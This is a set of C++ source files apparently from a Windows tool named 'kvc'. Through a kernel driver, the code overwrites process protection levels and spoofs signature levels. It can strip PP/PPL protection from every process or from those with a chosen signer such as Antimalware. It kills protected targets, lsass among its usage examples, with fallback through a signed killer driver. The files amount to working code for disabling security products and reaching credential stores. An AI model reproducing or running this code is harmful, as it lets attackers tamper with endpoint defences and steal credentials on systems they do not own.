    if (kernelAddr) {
        auto targetProtection = controller->GetProcessProtection(kernelAddr.value());
        if (targetProtection && targetProtection.value() > 0) {
            needsSelfProtection = true;
            
            UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value());
            UCHAR targetSigner = Utils::GetSignerType(targetProtection.value());

            levelStr = (targetLevel == static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL";
            
            switch (static_cast<PS_PROTECTED_SIGNER>(targetSigner)) {
                case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break;
                case PS_PROTECTED_SIGNER::WinTcb: signerStr = L"WinTcb"; break;
                case PS_PROTECTED_SIGNER::WinSystem: signerStr = L"WinSystem"; break;
                case PS_PROTECTED_SIGNER::Windows: signerStr = L"Windows"; break;
                case PS_PROTECTED_SIGNER::Antimalware: signerStr = L"Antimalware"; break;
                case PS_PROTECTED_SIGNER::Authenticode: signerStr = L"Authenticode"; break;
                case PS_PROTECTED_SIGNER::CodeGen: signerStr = L"CodeGen"; break;
                case PS_PROTECTED_SIGNER::App: signerStr = L"App"; break;
                default: 
                    INFO(L"Unknown signer type - attempting termination without self-protection");
                    needsSelfProtection = false;
                    break;
            }

            if (needsSelfProtection) {
                INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str());
                
                if (!controller->SelfProtect(levelStr, signerStr)) {
                    INFO(L"Self-protection elevation failed: %s-%s (attempting termination anyway)", 
                         levelStr.c_str(), signerStr.c_str());
                    needsSelfProtection = false;
                } else {
                    SUCCESS(L"Self-protection elevated to %s-%s", levelStr.c_str(), signerStr.c_str());
                }
            }
        } else {
            INFO(L"Target process is not protected, proceeding with standard termination");
        }
    } else {
        INFO(L"Could not get kernel address for target process, proceeding without self-protection");
    }

    if (g_interrupted) {
        INFO(L"Operation cancelled by user during protection setup");
        if (needsSelfProtection) {
            controller->SelfProtect(L"none", L"none");
        }
        return false;
    }

    // Attempt process termination
    HANDLE processHandle = OpenProcess(PROCESS_TERMINATE, FALSE, processId);
    bool success = false;
    
    if (processHandle) {
        BOOL result = TerminateProcess(processHandle, 0);
        CloseHandle(processHandle);
        success = (result != FALSE);
    } else {
        DWORD error = GetLastError();
        ERROR(L"Failed to open process for termination (error: %d)", error);
    }

    // Cleanup self-protection
    if (needsSelfProtection) {
        if (!controller->SelfProtect(L"none", L"none")) {
            ERROR(L"Failed to cleanup self-protection after termination");
        } else {
            INFO(L"Self-protection cleaned up successfully");
        }
    }

    return success;
}

// Main command handler for process termination operations with protection elevation
void ProcessManager::HandleKillCommand(int argc, wchar_t* argv[], Controller* controller) noexcept {
    if (argc < 3) {
        PrintKillUsage();
        return;
    }

    if (!controller) {
        ERROR(L"Controller not available - cannot perform protected process termination");
        return;
    }

    INFO(L"Starting process termination with automatic protection elevation...");

    // NEW: Parse comma-separated targets into string vector for advanced pattern matching
    // This replaces the old PID-only parsing to support mixed PID/name patterns
    std::wstring targets = argv[2];
    std::vector<std::wstring> targetList;
    
    // Split input string by comma delimiter with whitespace trimming
    std::wstring token;
    std::wstringstream ss(targets);
    while (std::getline(ss, token, L',')) {
        // Trim leading and trailing whitespace from each token
        size_t first = token.find_first_not_of(L" \t");
        if (first != std::wstring::npos) {
            size_t last = token.find_last_not_of(L" \t");
            targetList.push_back(token.substr(first, (last - first + 1)));
        }
    }

    if (targetList.empty()) {
        ERROR(L"No valid process targets provided");
        return;
    }

    if (g_interrupted) {
        INFO(L"Operation cancelled by user before processing");
        return;
    }

    // NEW: Use Controller's advanced pattern matching and batch processing
    // This handles both PIDs and process name patterns with single driver session
    bool result = controller->KillMultipleTargets(targetList);
    
    if (result) {
        SUCCESS(L"Batch kill operation completed successfully");
    } else {
        ERROR(L"Batch kill operation failed or partially completed");
    }
}

// Parse comma-separated process ID/name list with input validation
bool ProcessManager::ParseProcessIds(std::wstring_view pidList, std::vector<DWORD>& pids) noexcept {
    std::wstring pidStr(pidList);
    size_t pos = 0;
    size_t start = 0;
    
    while (pos != std::wstring::npos) {
        pos = pidStr.find(L',', start);
        std::wstring token;
        
        if (pos != std::wstring::npos) {
            token = pidStr.substr(start, pos - start);
            start = pos + 1;
        } else {
            token = pidStr.substr(start);
        }
        
        // Trim leading and trailing whitespace
        size_t first = token.find_first_not_of(L" \t");
        if (first == std::wstring::npos) continue;
        
        size_t last = token.find_last_not_of(L" \t");
        token = token.substr(first, (last - first + 1));
        
        if (token.empty()) continue;
        
        // Check if token is numeric (PID) or text (process name)
        if (IsNumericPid(token)) {
            try {
                DWORD pid = std::wcstoul(token.c_str(), nullptr, 10);
                if (pid == 0) {
                    ERROR(L"Invalid PID: %s (PID cannot be 0)", token.c_str());
                    continue;
                }
                pids.push_back(pid);
            }
            catch (...) {
                ERROR(L"Invalid PID format: %s", token.c_str());
                continue;
            }
        }
        else {
            // Process name - find matching PIDs using Toolhelp32 (will be handled by Controller later)
            auto foundPids = FindProcessIdsByName(token);
            if (foundPids.empty()) {
                ERROR(L"No process found matching: %s", token.c_str());
                continue;
            }

            INFO(L"Found %zu processes matching '%s'", foundPids.size(), token.c_str());
            for (DWORD pid : foundPids) {
                pids.push_back(pid);
            }
        }
    }
    
    return !pids.empty();
}

// Display command usage and examples
void ProcessManager::PrintKillUsage() noexcept {
    std::wcout << L"Usage: kvc kill <pid1|name1>[,pid2|name2,pid3|name3,...]\n";
    std::wcout << L"  Examples:\n";
    std::wcout << L"    kvc kill 1234\n";
    std::wcout << L"    kvc kill notepad\n";
    std::wcout << L"    kvc kill total\n";
    std::wcout << L"    kvc kill lsass          # Protected process (auto-elevation)\n";
    std::wcout << L"    kvc kill 1234,notepad,calc\n";
    std::wcout << L"    kvc kill \"1234, notepad, 5678\"\n";
    std::wcout << L"  Note: Automatically elevates protection level to match protected targets\n\n";
}

<<<FILE: kvc/ProcessManager.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     1.4 KB
// ProcessManager.h - Process management with protection-aware termination (PID/name targeting)

#pragma once

#include "common.h"
#include <vector>
#include <string>

// Forward declaration to avoid circular includes
class Controller;

// ProcessManager: static utilities for protection-aware process operations
class ProcessManager
{
public:
    ProcessManager() = delete;           // Static class - no instances
    ~ProcessManager() = delete;

    // Handle 'kill' command: parse args and terminate targets with protection matching
    static void HandleKillCommand(int argc, wchar_t* argv[], Controller* controller) noexcept;

private:
    // Parse comma-separated PID list into vector (skips invalid entries)
    static bool ParseProcessIds(std::wstring_view pidList, std::vector<DWORD>& pids) noexcept;
    
    // Print usage information for kill command
    static void PrintKillUsage() noexcept;
    
    // Terminate process by PID, attempting protection elevation via Controller
    static bool TerminateProcessWithProtection(DWORD processId, Controller* controller) noexcept;
    
    // Return true if input is numeric PID string
    static bool IsNumericPid(std::wstring_view input) noexcept;
    
    // Find all PIDs whose process name matches the given (partial, case-insensitive)
    static std::vector<DWORD> FindProcessIdsByName(const std::wstring& processName) noexcept;
};

<<<FILE: kvc/ProcessProtection.cpp>>>
Created:  2026-05-03 12:13:59
Modified: 2026-05-03 12:13:59
Size:     23.45 KB
// ProcessProtection.cpp
// Kernel-level process protection manipulation.
//
// Exposes three protection verbs — Protect, Unprotect, SetProtection —
// each available in single-target, by-name, by-signer, and batch forms.
// All paths that touch the driver acquire a session through
// BeginDriverSession / EndDriverSession; batch variants hold a single
// session across the whole loop rather than opening and closing per-PID.
//
// Signature spoofing is applied automatically whenever protection is set,
// so that the fake protection level is reflected in user-mode checks too.

#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <unordered_map>

extern volatile bool g_interrupted;

// ── Signature level selection ────────────────────────────────────────────────

// Returns the SignatureLevel / SectionSignatureLevel bytes that best match a
// given signer type, based on empirical observations of protected Windows
// components. The exact values are OS-version-dependent; these are reasonable
// defaults that work across Windows 10/11.
static void GetOptimalSpoofSignatures(UCHAR signerType,
                                       UCHAR& outExeSig,
                                       UCHAR& outDllSig) noexcept
{
    switch (static_cast<PS_PROTECTED_SIGNER>(signerType)) {
    case PS_PROTECTED_SIGNER::Antimalware:
        outExeSig = 0x37; // WinSystem
        outDllSig = 0x07; // WinSystem
        break;
    case PS_PROTECTED_SIGNER::Windows:
    case PS_PROTECTED_SIGNER::WinTcb:
    case PS_PROTECTED_SIGNER::WinSystem:
        outExeSig = 0x3E; // Critical
        outDllSig = 0x0C; // Standard
        break;
    case PS_PROTECTED_SIGNER::Lsa:
        outExeSig = 0x3C; // Service
        outDllSig = 0x08; // Authenticode
        break;
    default:
        outExeSig = 0x08; // Authenticode
        outDllSig = 0x08;
        break;
    }
}

// Applies protection + matching signature levels to a single EPROCESS address.
// Called by all Protect* and SetProtection* paths after the protection byte
// has been determined.
static void ApplyProtectionWithSignatures(Controller* ctrl,
                                           ULONG_PTR kernelAddr,
                                           UCHAR newProtection,
                                           UCHAR signerType) noexcept
{
    ctrl->SetProcessProtection(kernelAddr, newProtection);

    UCHAR exeSig = 0, dllSig = 0;
    GetOptimalSpoofSignatures(signerType, exeSig, dllSig);
    ctrl->SetProcessSignatures(kernelAddr, exeSig, dllSig);
}

// ── Single-target operations ─────────────────────────────────────────────────

// Protects a process with the given level and signer.
// Fails if the process is already protected (use SetProcessProtection to
// overwrite an existing protection regardless of current state).
bool Controller::ProtectProcess(DWORD pid,
                                 const std::wstring& protectionLevel,
                                 const std::wstring& signerType) noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    const auto kernelAddr = GetCachedKernelAddress(pid);
    if (!kernelAddr)       { EndDriverSession(true); return false; }

    if (const auto prot = GetProcessProtection(kernelAddr.value());
        prot && prot.value() > 0)
    {
        ERROR(L"PID %d is already protected", pid);
        EndDriverSession(true);
        return false;
    }

    const auto level  = Utils::GetProtectionLevelFromString(protectionLevel);
    const auto signer = Utils::GetSignerTypeFromString(signerType);
    if (!level || !signer) {
        ERROR(L"Invalid protection level or signer type");
        EndDriverSession(true);
        return false;
    }

    const UCHAR newProtection = Utils::GetProtection(level.value(), signer.value());
    ApplyProtectionWithSignatures(this, kernelAddr.value(),
                                   newProtection, signer.value());

    SUCCESS(L"Protected PID %d with %s-%s",
            pid, protectionLevel.c_str(), signerType.c_str());
    EndDriverSession(true);
    return true;
}

// Removes protection from a process.
// Fails if the process is not currently protected.
bool Controller::UnprotectProcess(DWORD pid) noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    const auto kernelAddr = GetCachedKernelAddress(pid);
    if (!kernelAddr)       { EndDriverSession(true); return false; }

    const auto currentProtection = GetProcessProtection(kernelAddr.value());
    if (!currentProtection || currentProtection.value() == 0) {
        ERROR(L"PID %d is not protected", pid);
        EndDriverSession(true);
        return false;
    }

    if (!SetProcessProtection(kernelAddr.value(), 0)) {
        ERROR(L"Failed to remove protection from PID %d", pid);
        EndDriverSession(true);
        return false;
    }

    SUCCESS(L"Removed protection from PID %d", pid);
    EndDriverSession(true);
    return true;
}

// Overwrites the protection of a process regardless of its current state.
bool Controller::SetProcessProtection(DWORD pid,
                                       const std::wstring& protectionLevel,
                                       const std::wstring& signerType) noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    const auto level  = Utils::GetProtectionLevelFromString(protectionLevel);
    const auto signer = Utils::GetSignerTypeFromString(signerType);
    if (!level || !signer) {
        ERROR(L"Invalid protection level or signer type");
        EndDriverSession(true);
        return false;
    }

    const auto kernelAddr = GetCachedKernelAddress(pid);
    if (!kernelAddr) { EndDriverSession(true); return false; }

    const UCHAR newProtection = Utils::GetProtection(level.value(), signer.value());
    ApplyProtectionWithSignatures(this, kernelAddr.value(),
                                   newProtection, signer.value());

    SUCCESS(L"Set protection %s-%s on PID %d",
            protectionLevel.c_str(), signerType.c_str(), pid);
    EndDriverSession(true);
    return true;
}

// ── Name-based single-target wrappers ────────────────────────────────────────
// These resolve the name with Toolhelp32 only (no driver) and delegate to the
// PID-based functions above.

bool Controller::ProtectProcessByName(const std::wstring& processName,
                                       const std::wstring& protectionLevel,
                                       const std::wstring& signerType) noexcept
{
    const auto match = ResolveNameWithoutDriver(processName);
    return match && ProtectProcess(match->Pid, protectionLevel, signerType);
}

bool Controller::UnprotectProcessByName(const std::wstring& processName) noexcept
{
    const auto match = ResolveNameWithoutDriver(processName);
    return match && UnprotectProcess(match->Pid);
}

bool Controller::SetProcessProtectionByName(const std::wstring& processName,
                                              const std::wstring& protectionLevel,
                                              const std::wstring& signerType) noexcept
{
    const auto match = ResolveNameWithoutDriver(processName);
    return match && SetProcessProtection(match->Pid, protectionLevel, signerType);
}

// ── Internal single-step helpers (used by batch loops) ───────────────────────

// Protects a single PID; skips already-protected processes.
// Pass insideBatchSession=true to skip session management (caller holds it).
bool Controller::ProtectProcessInternal(DWORD pid,
                                         const std::wstring& protectionLevel,
                                         const std::wstring& signerType,
                                         bool insideBatchSession) noexcept
{
    if (!insideBatchSession && !BeginDriverSession()) {
        EndDriverSession(true); return false;
    }

    const auto level  = Utils::GetProtectionLevelFromString(protectionLevel);
    const auto signer = Utils::GetSignerTypeFromString(signerType);
    if (!level || !signer) {
        ERROR(L"Invalid protection level or signer type for PID %d", pid);
        if (!insideBatchSession) EndDriverSession(true);
        return false;
    }

    const auto kernelAddr = GetCachedKernelAddress(pid);
    if (!kernelAddr) {
        if (!insideBatchSession) EndDriverSession(true);
        return false;
    }

    if (const auto current = GetProcessProtection(kernelAddr.value());
        current && current.value() > 0)
    {
        INFO(L"PID %d already protected, skipping", pid);
        if (!insideBatchSession) EndDriverSession(true);
        return false;
    }

    const UCHAR newProtection = Utils::GetProtection(level.value(), signer.value());
    if (SetProcessProtection(kernelAddr.value(), newProtection)) {
        UCHAR exeSig = 0, dllSig = 0;
        GetOptimalSpoofSignatures(signer.value(), exeSig, dllSig);
        SetProcessSignatures(kernelAddr.value(), exeSig, dllSig);
        SUCCESS(L"Protected PID %d with %s-%s",
                pid, protectionLevel.c_str(), signerType.c_str());
        if (!insideBatchSession) EndDriverSession(true);
        return true;
    }

    ERROR(L"Failed to protect PID %d", pid);
    if (!insideBatchSession) EndDriverSession(true);
    return false;
}

// Sets protection on a single PID, always overwriting any existing value.
// Pass insideBatchSession=true to skip session management (caller holds it).
bool Controller::SetProcessProtectionInternal(DWORD pid,
                                               const std::wstring& protectionLevel,
                                               const std::wstring& signerType,
                                               bool insideBatchSession) noexcept
{
    if (!insideBatchSession && !BeginDriverSession()) {
        EndDriverSession(true); return false;
    }

    const auto level  = Utils::GetProtectionLevelFromString(protectionLevel);
    const auto signer = Utils::GetSignerTypeFromString(signerType);
    if (!level || !signer) {
        ERROR(L"Invalid protection level or signer type for PID %d", pid);
        if (!insideBatchSession) EndDriverSession(true);
        return false;
    }

    const auto kernelAddr = GetCachedKernelAddress(pid);
    if (!kernelAddr) {
        if (!insideBatchSession) EndDriverSession(true);
        return false;
    }

    const UCHAR newProtection = Utils::GetProtection(level.value(), signer.value());
    if (SetProcessProtection(kernelAddr.value(), newProtection)) {
        UCHAR exeSig = 0, dllSig = 0;
        GetOptimalSpoofSignatures(signer.value(), exeSig, dllSig);
        SetProcessSignatures(kernelAddr.value(), exeSig, dllSig);
        SUCCESS(L"Set protection %s-%s on PID %d",
                protectionLevel.c_str(), signerType.c_str(), pid);
        if (!insideBatchSession) EndDriverSession(true);
        return true;
    }

    ERROR(L"Failed to set protection on PID %d", pid);
    if (!insideBatchSession) EndDriverSession(true);
    return false;
}

// ── Batch protect / set / unprotect ─────────────────────────────────────────

// Resolves a list of PID/name targets to a deduplicated PID vector.
// Uses the already-open driver session for name→kernel resolution.
static std::vector<DWORD> ResolveTargetsToPids(
    Controller* ctrl,
    const std::vector<std::wstring>& targets) noexcept
{
    std::vector<DWORD> pids;
    for (const auto& target : targets) {
        if (Utils::IsNumeric(target)) {
            if (const auto pid = Utils::ParsePid(target))
                pids.push_back(pid.value());
        } else {
            for (const auto& match : ctrl->FindProcessesByName(target))
                pids.push_back(match.Pid);
        }
    }
    return pids;
}

bool Controller::ProtectMultipleProcesses(
    const std::vector<std::wstring>& targets,
    const std::wstring& protectionLevel,
    const std::wstring& signerType) noexcept
{
    if (targets.empty()) { ERROR(L"No targets provided"); return false; }
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    if (!Utils::GetProtectionLevelFromString(protectionLevel) ||
        !Utils::GetSignerTypeFromString(signerType))
    {
        ERROR(L"Invalid protection level or signer type");
        EndDriverSession(true);
        return false;
    }

    const auto pids = ResolveTargetsToPids(this, targets);
    if (pids.empty()) {
        ERROR(L"No processes found matching the specified targets");
        EndDriverSession(true);
        return false;
    }

    INFO(L"Batch protect: %zu resolved processes", pids.size());
    DWORD successCount = 0;
    for (DWORD pid : pids) {
        if (g_interrupted) { INFO(L"Batch operation interrupted"); break; }
        if (ProtectProcessInternal(pid, protectionLevel, signerType,
                                    /*insideBatchSession=*/true))
            ++successCount;
    }

    EndDriverSession(true);
    INFO(L"Batch protect completed: %d/%zu", successCount, pids.size());
    return successCount > 0;
}

bool Controller::SetMultipleProcessesProtection(
    const std::vector<std::wstring>& targets,
    const std::wstring& protectionLevel,
    const std::wstring& signerType) noexcept
{
    if (targets.empty()) { ERROR(L"No targets provided"); return false; }
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    if (!Utils::GetProtectionLevelFromString(protectionLevel) ||
        !Utils::GetSignerTypeFromString(signerType))
    {
        ERROR(L"Invalid protection level or signer type");
        EndDriverSession(true);
        return false;
    }

    const auto pids = ResolveTargetsToPids(this, targets);
    if (pids.empty()) {
        ERROR(L"No processes found matching the specified targets");
        EndDriverSession(true);
        return false;
    }

    INFO(L"Batch set: %zu resolved processes", pids.size());
    DWORD successCount = 0;
    for (DWORD pid : pids) {
        if (g_interrupted) { INFO(L"Batch operation interrupted"); break; }
        if (SetProcessProtectionInternal(pid, protectionLevel, signerType,
                                          /*insideBatchSession=*/true))
            ++successCount;
    }

    EndDriverSession(true);
    INFO(L"Batch set completed: %d/%zu", successCount, pids.size());
    return successCount > 0;
}

// Returns true only if ALL targets were successfully unprotected.
bool Controller::UnprotectMultipleProcesses(
    const std::vector<std::wstring>& targets) noexcept
{
    if (targets.empty()) return false;
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    const DWORD total = static_cast<DWORD>(targets.size());
    DWORD successCount = 0;

    for (const auto& target : targets) {
        if (g_interrupted) break;

        bool ok = false;
        if (Utils::IsNumeric(target)) {
            try {
                ok = UnprotectProcess(static_cast<DWORD>(std::stoul(target)));
            } catch (...) {
                ERROR(L"Invalid PID: %s", target.c_str());
            }
        } else {
            ok = UnprotectProcessByName(target);
        }
        if (ok) ++successCount;
    }

    INFO(L"Batch unprotect: %d/%d targets processed", successCount, total);
    EndDriverSession(true);
    return successCount == total;
}

// ── Signer-based batch operations ────────────────────────────────────────────

// Removes protection from all processes carrying a specific signer.
// Saves the affected process list via SessionManager so it can be restored.
bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept
{
    const auto signerType = Utils::GetSignerTypeFromString(signerName);
    if (!signerType) {
        ERROR(L"Invalid signer type: %s", signerName.c_str());
        return false;
    }

    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    std::vector<ProcessEntry> affected;
    for (const auto& entry : GetProcessList()) {
        if (entry.ProtectionLevel > 0 && entry.SignerType == signerType.value())
            affected.push_back(entry);
    }

    if (affected.empty()) {
        INFO(L"No protected processes found with signer: %s", signerName.c_str());
        EndDriverSession(true);
        return false;
    }

    INFO(L"Batch unprotect by signer '%s': %zu processes",
         signerName.c_str(), affected.size());
    m_sessionMgr.SaveUnprotectOperation(signerName, affected);

    DWORD successCount = 0;
    for (const auto& entry : affected) {
        if (g_interrupted) { INFO(L"Batch operation interrupted"); break; }
        if (SetProcessProtection(entry.KernelAddress, 0)) {
            ++successCount;
            SUCCESS(L"Removed protection from PID %d (%s)",
                    entry.Pid, entry.ProcessName.c_str());
        } else {
            ERROR(L"Failed to remove protection from PID %d (%s)",
                  entry.Pid, entry.ProcessName.c_str());
        }
    }

    INFO(L"Batch unprotect by signer completed: %d/%zu",
         successCount, affected.size());
    EndDriverSession(true);
    return successCount > 0;
}

// Sets a new protection level/signer for all processes that currently carry
// the given signer type.
bool Controller::SetProtectionBySigner(const std::wstring& currentSigner,
                                        const std::wstring& level,
                                        const std::wstring& newSigner) noexcept
{
    const auto currentSignerType = Utils::GetSignerTypeFromString(currentSigner);
    const auto newSignerType     = Utils::GetSignerTypeFromString(newSigner);
    const auto protectionLevel   = Utils::GetProtectionLevelFromString(level);

    if (!currentSignerType) {
        ERROR(L"Invalid current signer type: %s", currentSigner.c_str()); return false;
    }
    if (!newSignerType) {
        ERROR(L"Invalid new signer type: %s", newSigner.c_str()); return false;
    }
    if (!protectionLevel) {
        ERROR(L"Invalid protection level: %s", level.c_str()); return false;
    }

    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    std::vector<ProcessEntry> targets;
    for (const auto& entry : GetProcessList()) {
        if (entry.SignerType == currentSignerType.value())
            targets.push_back(entry);
    }

    if (targets.empty()) {
        INFO(L"No processes found with signer: %s", currentSigner.c_str());
        EndDriverSession(true);
        return false;
    }

    INFO(L"Setting protection for %zu processes (signer: %s → %s %s)",
         targets.size(), currentSigner.c_str(), level.c_str(), newSigner.c_str());

    const UCHAR newProtection =
        (static_cast<UCHAR>(newSignerType.value()) << 4) |
         static_cast<UCHAR>(protectionLevel.value());

    DWORD successCount = 0;
    for (const auto& entry : targets) {
        if (g_interrupted) { INFO(L"Operation interrupted"); break; }
        if (SetProcessProtection(entry.KernelAddress, newProtection)) {
            ++successCount;
            SUCCESS(L"Set protection for PID %d (%s): %s-%s",
                    entry.Pid, entry.ProcessName.c_str(),
                    level.c_str(), newSigner.c_str());
        } else {
            ERROR(L"Failed to set protection for PID %d (%s)",
                  entry.Pid, entry.ProcessName.c_str());
        }
    }

    INFO(L"Batch by signer completed: %d/%zu", successCount, targets.size());
    EndDriverSession(true);
    return successCount > 0;
}

// Removes protection from every protected process, grouped by signer.
// Each signer group is saved to SessionManager for later restoration.
bool Controller::UnprotectAllProcesses() noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    std::unordered_map<std::wstring, std::vector<ProcessEntry>> groups;
    for (const auto& entry : GetProcessList()) {
        if (entry.ProtectionLevel > 0)
            groups[Utils::GetSignerTypeAsString(entry.SignerType)].push_back(entry);
    }

    if (groups.empty()) {
        INFO(L"No protected processes found");
        EndDriverSession(true);
        return false;
    }

    INFO(L"Mass unprotect: %zu signer groups", groups.size());
    DWORD totalSuccess = 0, totalProcessed = 0;

    for (const auto& [signerName, group] : groups) {
        if (g_interrupted) break;
        INFO(L"Processing signer group: %s (%zu processes)",
             signerName.c_str(), group.size());
        m_sessionMgr.SaveUnprotectOperation(signerName, group);

        for (const auto& entry : group) {
            if (g_interrupted) break;
            ++totalProcessed;
            if (SetProcessProtection(entry.KernelAddress, 0)) {
                ++totalSuccess;
                SUCCESS(L"Removed protection from PID %d (%s)",
                        entry.Pid, entry.ProcessName.c_str());
            } else {
                ERROR(L"Failed to remove protection from PID %d (%s)",
                      entry.Pid, entry.ProcessName.c_str());
            }
        }
    }

    if (g_interrupted) INFO(L"Mass unprotect interrupted by user");
    INFO(L"Mass unprotect completed: %d/%d", totalSuccess, totalProcessed);
    EndDriverSession(true);
    return totalSuccess > 0;
}

// ── Session state restoration ────────────────────────────────────────────────

bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }
    const bool ok = m_sessionMgr.RestoreBySigner(signerName, this);
    EndDriverSession(true);
    // If the target process was killed rather than unprotected, attempt relaunch.
    return ok || TryRelaunchKilledProcess(signerName);
}

bool Controller::RestoreAllProtection() noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }
    const bool ok = m_sessionMgr.RestoreAll(this);
    EndDriverSession(true);
    return ok;
}

void Controller::ShowSessionHistory() noexcept
{
    m_sessionMgr.ShowHistory();
}

// ── Signature spoofing ───────────────────────────────────────────────────────

// Directly overwrites SignatureLevel and SectionSignatureLevel for a PID.
// Use when you need fine-grained control beyond the automatic spoofing that
// accompanies protection changes.
bool Controller::SpoofProcessSignatures(DWORD pid,
                                         UCHAR exeSig,
                                         UCHAR dllSig) noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    const auto kernelAddr = GetCachedKernelAddress(pid);
    if (!kernelAddr) { EndDriverSession(true); return false; }

    if (!SetProcessSignatures(kernelAddr.value(), exeSig, dllSig)) {
        ERROR(L"Failed to spoof signatures on PID %d", pid);
        EndDriverSession(true);
        return false;
    }

    SUCCESS(L"Spoofed signatures on PID %d: EXE=0x%02X DLL=0x%02X",
            pid, exeSig, dllSig);
    EndDriverSession(true);
    return true;
}

bool Controller::SpoofProcessSignaturesByName(const std::wstring& processName,
                                               UCHAR exeSig,
                                               UCHAR dllSig) noexcept
{
    const auto match = ResolveNameWithoutDriver(processName);
    return match && SpoofProcessSignatures(match->Pid, exeSig, dllSig);
}

<<<FILE: kvc/ProcessTerminator.cpp>>>
Created:  2026-05-06 08:53:37
Modified: 2026-05-06 08:53:37
Size:     18.16 KB
// ProcessTerminator.cpp
// Process termination with automatic PP/PPL elevation and multi-tier fallback.
//
// Termination ladder for a single PID:
//   1. KillProcessInternal(): elevate caller to target's protection level,
//      then TerminateProcess().
//   2. kvcstrm IOCTL_KILL_WESMAR (via KvcStrmClient).
//
// For KillMultipleTargets() a third tier is added when the first two fail:
//   3. kvckiller.sys (signed kernel driver) via DeviceIoControl on Warsaw_PM.
//
// Killed paths are persisted to HKCU\Software\kvc\KilledPaths so that
// TryRelaunchKilledProcess() can restart them later.

#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <tlhelp32.h>
#include <unordered_map>

extern volatile bool g_interrupted;

// ── Killed-process path cache ────────────────────────────────────────────────

static void CacheKilledProcessPath(const std::wstring& exeName,
                                    const std::wstring& fullPath) noexcept
{
    std::wstring key = exeName;
    StringUtils::ToLower(key);

    HKEY hKey = nullptr;
    if (RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\kvc\\KilledPaths",
                        0, nullptr, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,
                        nullptr, &hKey, nullptr) == ERROR_SUCCESS)
    {
        const DWORD sz = static_cast<DWORD>((fullPath.size() + 1) * sizeof(wchar_t));
        RegSetValueExW(hKey, key.c_str(), 0, REG_SZ,
                       reinterpret_cast<const BYTE*>(fullPath.c_str()), sz);
        RegCloseKey(hKey);
    }
}

static std::wstring GetCachedKilledProcessPath(std::wstring exeName) noexcept
{
    StringUtils::ToLower(exeName);
    if (exeName.size() < 4 ||
        exeName.compare(exeName.size() - 4, 4, L".exe") != 0)
        exeName += L".exe";

    HKEY hKey = nullptr;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\kvc\\KilledPaths",
                      0, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
        return {};

    wchar_t buf[MAX_PATH] = {};
    DWORD sz = sizeof(buf), type = 0;
    const LONG r = RegQueryValueExW(hKey, exeName.c_str(), nullptr, &type,
                                     reinterpret_cast<LPBYTE>(buf), &sz);
    RegCloseKey(hKey);
    return (r == ERROR_SUCCESS && type == REG_SZ) ? buf : L"";
}

// Attempts to restart a previously killed process.
// Step 1: find a Win32 service whose ImagePath contains the exe name and start it.
// Step 2: fall back to ShellExecuteEx on the cached full path.
bool Controller::TryRelaunchKilledProcess(const std::wstring& name) noexcept
{
    std::wstring exeName = name;
    if (exeName.size() < 4 ||
        _wcsicmp(exeName.c_str() + exeName.size() - 4, L".exe") != 0)
        exeName += L".exe";

    std::wstring lowerExe = exeName;
    StringUtils::ToLower(lowerExe);

    // Step 1: service-based relaunch.
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr,
                                     SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
    if (hSCM) {
        DWORD needed = 0, returned = 0, resumeHandle = 0;
        EnumServicesStatusExW(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
                               SERVICE_STATE_ALL, nullptr, 0,
                               &needed, &returned, &resumeHandle, nullptr);

        if (GetLastError() == ERROR_MORE_DATA) {
            std::vector<BYTE> buf(needed);
            auto* svcs = reinterpret_cast<ENUM_SERVICE_STATUS_PROCESSW*>(buf.data());
            resumeHandle = 0;

            if (EnumServicesStatusExW(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_WIN32,
                                       SERVICE_STATE_ALL, buf.data(), needed,
                                       &needed, &returned, &resumeHandle, nullptr))
            {
                for (DWORD i = 0; i < returned; ++i) {
                    SC_HANDLE hSvc = OpenServiceW(hSCM, svcs[i].lpServiceName,
                                                   SERVICE_QUERY_CONFIG | SERVICE_START);
                    if (!hSvc) continue;

                    DWORD cfgBytes = 0;
                    QueryServiceConfigW(hSvc, nullptr, 0, &cfgBytes);
                    if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
                        std::vector<BYTE> cfgBuf(cfgBytes);
                        auto* cfg = reinterpret_cast<QUERY_SERVICE_CONFIGW*>(cfgBuf.data());
                        if (QueryServiceConfigW(hSvc, cfg, cfgBytes, &cfgBytes)) {
                            std::wstring bin = cfg->lpBinaryPathName;
                            StringUtils::ToLower(bin);
                            if (bin.find(lowerExe) != std::wstring::npos) {
                                const bool ok =
                                    StartServiceW(hSvc, 0, nullptr) ||
                                    GetLastError() == ERROR_SERVICE_ALREADY_RUNNING;
                                CloseServiceHandle(hSvc);
                                CloseServiceHandle(hSCM);
                                if (ok) {
                                    SUCCESS(L"Relaunched %s via service", name.c_str());
                                    return true;
                                }
                                break;
                            }
                        }
                    }
                    CloseServiceHandle(hSvc);
                }
            }
        }
